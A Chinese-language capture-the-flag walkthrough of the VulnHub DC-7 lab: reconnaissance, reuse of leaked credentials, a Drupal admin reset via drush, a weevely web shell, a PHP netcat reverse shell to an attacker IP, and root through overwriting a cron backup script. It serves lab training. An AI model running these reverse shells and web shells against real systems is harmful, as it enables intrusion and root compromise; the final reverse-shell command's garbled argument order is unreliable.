前言
本次的靶机是vulhub下的靶机DC-7,下载地址是DC: 7 ~ VulnHub,还是一样,下载解压后用vmware打开,并且依次设置其网络适配器为nat模式
一.准备工作
输入命令
arp-scan -l
可以得知分配的IP地址为:192.168.188.134
继续输入以下命令
nmap -A -sV -p- --min-parallelism 200 192.168.188.134
可以得知网站开放了22端口和80端口以及服务器类型drupal,输入ip地址到浏览器
网站给出了一段提示,翻译成中文意思如下
网站提示我们暴力破解或者字典攻击基本上攻克不了这个网站,我们需要做的是跳出框框思考,言外之意也就是让我们通过浏览器来搜索相关的网站源码,看是否能找得到相关的漏洞可以利用
这边也提示给了我们作者信息,试试看能否在github上找到相关作者
可以发现,github上找到了作者的id,并且他还有一个公共的仓库,猜测这可能是网站的源码,我们将其下载下来
下载后解压,然后将文件夹复制到kali上
发现其中有一个config.php文件,打开它
发现了一个用户名称和密码以及一个数据库的名字,试试看ssh能否登录
发现可以登录
二.提权
已经获得了一个交互式的shell,看看是否能提权,首先试一试suid提权,输入命令
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
找到了一个exim4文件,我们在dc-8里面提权用到过,但是在这里查看exim4的版本命令执行不了,并且其他文件也是如此,所以suid提权没有办法
转变思路查看这个用户目录下有没有值得注意的点
打开backups文件夹,发现其中有两个文件,但是都已经被加密了,打不开
但是我们第一次打开的时候提示我们有一封新邮件,打开看看
通过邮件发现系统每隔15分钟 就会执行一次 /opt/scripts/backups.sh
来备份数据库,而且是以root的身份来执行该脚本。接下来看看能不能修改该脚本。
输入命令
cd /opt/scripts/
ls -la
发现自己的当前用户只拥有执行和读权限,但是发现www-data用户是可以修改这个文件的,基本上www-data用户通过一句话木马建立的,因此我们现在需要在网站内写入一句话木马
三.一句话木马
我们打开这个脚本文件,发现里面使用了drush程序,这是一个专门管理drupal网站的一个程序,也可以通过该程序直接修改用户密码。如果想用drush管理一个网站,那么就必须先跳转到那个网站的目录下,接下来就修改管理员 admin
的密码
输入命令
cd /var/www/html
drush user-password admin --password="admin"修改admin的密码为admin
这边提示我们已经成功修改了admin的密码,我们登录网站后台,发现网站并没有提供登录页面
猜测可能网页已经被隐藏,输入命令
dirsearch -u 192.168.188.134
找到了一个可以登录的页面,输入ip地址到浏览器上
输入账号和密码,成功进入网站后台,此时我们要寻找存在数据交互的地方,并且能执行php代码的地方
发现这里面并不存在php格式,但是网站里面还有个extend,经过查询发现该网站可以安装一个模块后就可以写入php代码了。模块的下载地址为 https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
按照下图步骤点击
输入前面的IP地址到里面
安装完成后,点击这个按钮来开启模块
勾选php filter按钮,然后再点击install按钮
返回edit页面,发现此时已经可以上传php代码了
使用weevely生成一句话木马,输入以下命令
weevely generate a a.php
a是连接时的密码
将a.php里面的内容复制下来
粘贴到edit,格式选择phpcode,然后点击save保存
从浏览器的地址栏可以得知这个页面的ip地址为192.168.188.134/node/3
使用weevely进行连接,输入命令
weevely http://192.168.188.134/node/3 a
a参数是刚开始生成的连接密码
发现此时已经连接成功了
另一种方法
当然建立反弹shell的方法也不只这一种,我们可以写入一句话木马到欢迎页
复制下列命令到欢迎页,将其保存为phpcode
<?php
system("nc -e /bin/bash 192.168.188.128 4443")
?>
先在本地创建监听端口
这样当点击Welcome to DC-7时就会执行页面里的代码
四.反弹shell
发现此时当前用户没有办法执行cd命令,可以使用echo $0开查看当前可以使用的sh命令
echo $0
当你执行
echo $0
时,shell 会输出当前脚本的名称或者执行的命令名。
可以通过基于nc反弹一个基于bash的shell可以解决这一问题
再kali上新建一个本地监听端口
rlwrap nc -lvnp 4443
在webshell上执行以下命令
nc 192.168.188.128 4443 -e /bin/bash
注意:ip地址是kali的本地ip地址
此时我们升级成一个交互时的shell
python -c 'import pty;pty.spawn("/bin/bash")'
可以发现此时已经可以成功使用cd命令了
五.提权
现在已经可以拥有写入的权限了,将反弹shell写入backups.sh,输入以下命令
cd /opt/scripts
echo "nc 192.168.188.128 -e 4445 /bin/bash" > backups.sh
然后在本地监听4445端口
打把王者回来,发现已经成功连接上了
成功获取到flag,靶场成功攻破
六.总结
这次的靶场还是挺有难度的,但是也幸好有作者的提示,也教会我们需要灵活变通